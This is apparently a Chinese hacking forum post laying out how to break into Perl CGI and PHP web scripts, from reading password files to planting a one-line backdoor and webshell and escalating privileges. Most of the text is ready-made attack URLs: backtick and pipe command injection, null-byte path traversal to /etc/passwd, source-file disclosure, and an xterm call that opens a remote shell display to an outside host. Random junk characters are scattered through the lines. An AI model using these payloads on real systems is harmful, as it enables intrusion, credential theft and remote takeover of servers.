总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
( e9 l3 {6 q: i5 F6 ~+ P y- [cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 / F5 p4 W+ K3 ~/ k
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 $ k+ W$ G% h6 D9 X B& S, l
注“ ( ^$ p! H1 u4 L; J0 ?+ N p/ d
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 + a+ F% _+ i; q8 z/ k' _
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 1 B/ f `) J8 k) m
& {" U1 m# h( y3 C, g
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 & U: C9 _; M. V$ Q M. \* {
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 6 l+ k# k# h1 _9 B+ H) {+ v
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
# _8 ~7 b/ X2 `: G, U1 E, Y* Shttp://target.com/cgi-bin/home/news/sub.pl?`id` 7 h: ~* E+ x7 z' D" r+ D
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
) w9 I7 u! @2 ~3 d; M; lhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
2 U: j9 @: f D( y7 q
. o/ z F: z1 m X" b$ l4 Y4 \, [2 r" q# Hhttp://target.com/test.pl;ls| * e# Q8 ~4 s1 @6 [3 N! y) Z. U
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
$ f* [! `* @2 M# t( h+ Ahttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ' V9 r( f1 c+ A3 u* g) b
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 % @5 _2 s& P0 u( T# i
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
% J$ H5 C6 `) ~# vhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection - @ e9 d2 X: q9 B2 c
" U f' L& \* ~
http://target.com/test.pl?&........ /../../etc/passwd " [9 h9 O4 ^+ X v K9 T* W
6 `1 Y( n" C8 I6 @& M9 V8 Z2 r" ^http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 6 `8 {5 W: Y+ h- D( N7 `
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
0 G" D$ ~3 w$ r& ^+ r9 Xhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 - W! W- B- y" T/ C
7 j5 t$ m, @/ r; r3 Hhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 ' v. J6 @3 g* \2 ~- X
http://www.target.org/show.php?f ... ng/admin/global.php
1 r+ P6 s7 W- R- u% U& K# O( v
1 A7 k _$ A# w7 j& F0 zemm和ps的一句话+ S$ f$ u X+ G3 r) A, z- V' W o, T+ U
$ a; ~! K9 H; T( w
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 * Z/ B1 j. G$ }! Y/ `5 [% T- c
; W, `3 Q" Q/ l% N+ d. `) h4 {
>bbb%20| % w7 W. X8 {. U6 u' A
( o( w3 P1 y) k( chttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 + r# T2 b9 j1 W$ ^: A9 L
0 n, |7 t L: Y$ s( s7 c8 X
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 0 ]7 X, k, f+ G+ P) s# n9 X
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin . O5 z8 k5 `4 a; b# n
8 _- b/ ^/ X/ N! E2 U9 r r! O" `$ {相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 / U- A2 }% X& `/ b" Q
http://target.com/index.html#cmd.exe
# Z' w( [+ `2 d ghttp://target.com/index.html?dummyparam=xp_cmdshell / G8 |0 `) \- @( q
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
, s- w1 t' [* h) r |